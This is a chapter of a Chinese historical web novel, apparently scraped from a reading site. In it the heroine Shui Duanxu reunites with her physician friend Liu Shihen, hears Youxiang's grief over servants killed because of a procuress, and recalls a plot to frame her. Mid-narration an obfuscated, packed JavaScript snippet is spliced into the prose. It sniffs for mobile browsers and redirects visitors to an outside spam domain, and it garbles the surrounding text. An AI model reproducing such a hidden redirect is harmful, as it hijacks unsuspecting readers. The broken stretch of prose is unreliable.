默认冷灰
24号文字
方正启体

14. 言听计从

作者:雪是倾山雨本书字数:K更新时间:
    水断栩惊诧开口,眼前人与脑海中某个身影重叠,渐渐合为一处,适才惊觉为同一人。


    那女子闻言亦是怔然,眸光落在水断栩面容上,似是要寻出蛛丝马迹来,许是瞧不真切,遂徐徐上前。


    “水断栩?”


    待女子开口,水断栩便知自己未有认错,此人確是在堇字时的总角之交,柳诗痕。


    二人他处重逢,昔年回忆、重逢之喜霎时间涌上心间,柳诗痕不顾虎撑作响,疾步向她走来。


    “先治伤者。”


    她拦下了还欲靠近的柳诗痕,转眸望向牙婆。


    厅堂血腥味弥漫着,柳诗痕见状,顿时敛容屏气,并未问来龙去脉,卸下药囊为其医治着。


    趁此期间,水断栩示意游乡衔尾相随,二人来至厅堂外。


    “为何娘子要救下如此恶贯满盈之人?为何要将她赎出?为何要遣郎中为其医治?为何?”


    她还未启齿,游乡便将自己疑惑、不解、不甘之处统统问询出,若非有恩情所隔,游乡怕是要握住她双臂,再疾声质问着。


    水断栩唇瓣翕张,她欲将自己计谋全盘托出,好慰藉游乡此时愤愤不平之心,可愈是如此,便显得自己愈加自私。


    遂她只得先问询出仇恨所在,才能出言安抚。


    “游乡,你……与这牙婆……此前有何仇怨?你方来京城未有多久,怎会与她结怨?”


    经她一问询,游乡终是道出原委来。


    原是在游乡初来乍到京城之时,曾有两三女子来救济于她,她们予些吃食,予些衣物,一连便是几日,几人亦渐渐熟络起来。


    可寻常一日,游乡于原处候着她们,候了整整一日,皆不见几人踪影。


    起初,游乡只以为她们是有要事在身,毕竟彼时是芳春时,主家忙碌需人手。


    可她却候来几人身死的讯息,几番探问后,才得知,竟是采买时听信这牙婆一面之词,将布料买回,却不料牙婆以次充好,布料一经采买后,便褪色了。


    几人遂临采买亏空之责,予了杖刑,当场毙命。


    宅邸中三处无名坟墓,便是为她们而设。


    游乡此一边道明来龙去脉,彼一边泣下沾襟,新衣裳未穿多久,此时已被泪水打湿。


    水断栩闻言,掏出罗帕,擡手为其拭泪,她擦拭着,罗帕席卷着面颊,却抵不住泪水汩汩涌出。


    心中的原本计谋已然更改,若只是让她终生不得回京,属实是罚不当罪,高举轻放。


    水断栩心中犹豫着如何启齿安抚,耳畔旁是牙婆嚎叫声,此催促着她尽快道来。


    “游乡,我知晓我们相识时日甚短,此问过于唐突,可……”


    “娘子若要问,那便问罢,奴家定如实相告。”


    游乡却是出乎意料地信任自己,见此,她亦不再扭捏作态。


    “你……信我吗?”


    “我信娘子。”


    声落,她是携着忐忑,本以为要良久才可候来回应,可何人料得,游乡几近脱口而出,未有一丝犹豫。


    此回,又该是水断栩不解了。


    她以为,信任是世间难以付之之物,若要付之,原因有二,一是日久见人心【注1】,好比玉盘,多年相随,才推心置腹,赤诚相待。二是屡屡相帮,好比祝见粼,而后者未经岁月验明,她所做亦只是不怀疑。


    此番话问出,是为令游乡宽心些,若她信自己,那水断栩便按计谋行。


    可游乡回应地径遂,倒是令她脱口而出问询道。


    “为何?”


    “阿姐从小便训诲我,世间行事总有个缘由,断无无缘无故之事,娘子既于我有恩,娘子关乎我的所言所举,定是有缘由。故,我信娘子。”


    水断栩闻言沉吟着,忖度着此番话。


    世上断无无缘无故之事……


    “我倒想,见见你阿姐了。”


    说罢,跫音起,柳诗痕走近二人,启齿道。


    “已敷上三七粉,亦用布条包扎止血,可仍需将养几日。”


    话尽,可她仍是欲言又止的模样,似是有惑却不知如何宣之于口。


    水断栩见状,知晓她有诸多困惑欲问询。


    为何自己身在此处?自己离了堇字后遭遇了什么?为何此牙婆奄奄一息在此?究竟发生了何?


    纵使一陌生之人,见此情此景亦会生出困惑,何况是曾有总角之谊的柳诗痕。


    “其中干系复杂,三言两语道不明,我此时在京城,是因投奔了国公府,此人恶贯满盈,方才出狱。”


    分明柳诗痕还未启齿,她却好似洞悉了柳诗痕心中所想所惑,将应答一并道出,心中则在暗自揣测着。


    水断栩脑海中设言设境,柳诗痕会如何回答自己此番话。


    一境,柳诗痕闻言,粲然一笑,开口道:“从中干系利害,若你不急离开这,大可同我细细说来。”


    毕竟,从前这丫头,若是自己有所隐瞒,定要刨根问底,不问出所以然不罢休。


    二境,柳诗痕听罢,垂下眸抚着手中布条,道:“挟仇报复?此举可是要从严惩处。”


    出手相助或许是因医者仁心,或许是因昔日情谊,此举,水断栩铭感五内,可大义灭亲亦是可为之举。


    此两境,无论应证了何,水断栩统统接受,因如何抉择,自有道理。


    眸光经在柳诗痕的唇上、面颊……终至落在眼眸,她欲看清这双眸中,蕴含着什么情愫,漠然?还是忻然?


    可二者皆未,设之两境亦皆未应证。


    柳诗痕闻言,抬手为她理着发簪,继而眸光同样落在她双眸。


    二人四目相对,柳诗痕启齿,声音清朗悦耳。


    “此去经年,别来无恙?”


    水断栩设的境,不攻自破。


    眸光相接时,羞赧与忻然相碰相较,她溃不成军。


    只此两句,不知是或不是看出她神情中蕴含着的情愫,柳诗痕回身一转,继而走向药囊处整理着。


    而水断栩的思绪,被勾入脑海中,勾入回忆里。


    长祚四十五年。


    彼时,水断栩已然适布政使司之差事,每日巡视粮仓、驿站,公文批阅,虽每日寅时起身,但时日一长倒也习贯【注2】。


    日常起居上,身旁亦有玉盘这贴身女使,与叹秋这随行护卫,不是过得十分滋润,倒也绰绰有余。


    可转机,却在寻常一日。


    那日,她散衙得比往日早了些,鬼使神差地,并未回分守道治所邸,而是去衙署附近的宅邸,去拜谒左参政。


    玉盘并不在此,叹秋亦因病留府将养,故她独身一人前往。


    司阍先是言明参政不在,领她至门房,再是怕怠慢了她,引她去书斋,途中还未至书斋时,司阍却因腹中绞痛,要先行告退。


    “无碍。”


    念着不远处便是书斋,亦不用领着,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955521|177580||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    水断栩摆摆手,司阍见状,忙不迭捂着小腹疾行而去。


    那日,水断栩本该如往常般,大步流星朝书斋而去,可许是冥冥之中上苍相助,她徐徐前进着。


    “若此事败露,可是要掉脑袋的!”


    走近书斋时,忽地有声音传出,因周遭只水断栩一人,且未出声,故她足以听清。


    败露?掉脑袋?


    她虽不解,但仍敛气屏息地听着,只是这声音……怎地如此耳熟?


    还未忖度,又一道声音传出,阻断了思绪。


    “这有何难办?届时……你将一切推至水弱缕身上,你可是他随行护卫,衙署之人皆瞧见,你常常相随其左右,故,你为人证,是极好的。”


    此声音实属陌生,并非是左参政,水断栩一时间分辨不出声源何人。


    可从此番话,得出惊天动地之讯息。


    水弱缕为她在绽翩所用之名,亦是她兄长之字,足以确信之事便是,有人要加害于自己。


    可随之而来的讯息,实属事出不意,令她目乱睛迷。


    随行护卫?常相随其左右?


    皆指向同一人,即叹秋。


    其实,他原本是一家丁,算是被水断栩出财雇佣为护卫,算算年头,竟是从水断栩任职头一年始,便相随左右。


    左参议本是不应有护卫,出行该是衙役相随,可水断栩当初闻叹秋家中贫寒凄苦,又见此人品行尚可,遂动了恻隐之心。


    这五年,水断栩因此事受人诟病,讽她独一无二,与众不同。


    这五年,耳畔每每有此质疑讥讽声传来时,她皆会力排众议,固执己见。


    一来是恻隐之心,二来是,水断栩寻不出由头去革除叹秋。


    可何人料得,五年,竟在身旁养了只,随时会反扑主人的恶犬!


    水断栩当即用双手捂住口,不让自己发出一丝声音,她不知自己是如何走出宅邸,可总归记着,要在司阍前竭力镇定下来。


    故当司阍问起时,她言语间彰显着一切如常。


    “不知水大人缘何离了书斋?大人许是在回来途中。”


    “不必,本官倏然念起还有旁要事,便不等候了。”


    “恭送水大人,愿水大人一路顺遂。”


    水断栩当时只顾着疾行,并未过多留意,殊不知,此番话是司阍于世间仅存的寥寥数语。


    当夜,叹秋回至宅中,却来去匆匆,不过一会儿,便私自出了宅邸。


    彼时大璞起了战事,粮草、被服、饷械等皆需途径绽翩,水断栩隐隐揣测出,他们要做出何等大事,又将往自己身上泼何脏水。


    可此事,竟极其荒谬地完局。


    还未等来叹秋回宅,却先迎来他失踪讯息,继而荒谬地一连许多日风平浪静。


    此间水断栩并未坐以待毙,若叹秋是栽赃自己之人证,那铲除此人,人证与威胁许是不复存在。


    遂她暗中遣衙役去寻觅着其身影,寻来觅去,竟迎来其死讯。


    可荒谬之处,远远未曾停止。


    据《大璞录》所记,长祚四十五年,战事不休,粮道中绝,饷银被贪吏,即布政使司左参政所侵!帝大怒,命有司查出同党,一并严惩不贷!


    左参政被满门抄斩,连带司阍,涉事之人,连同近日去过左参政宅邸中人,一并列为同党。


    按理,来访需登记在门房册子上。


    可水断栩,却逃过一劫。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)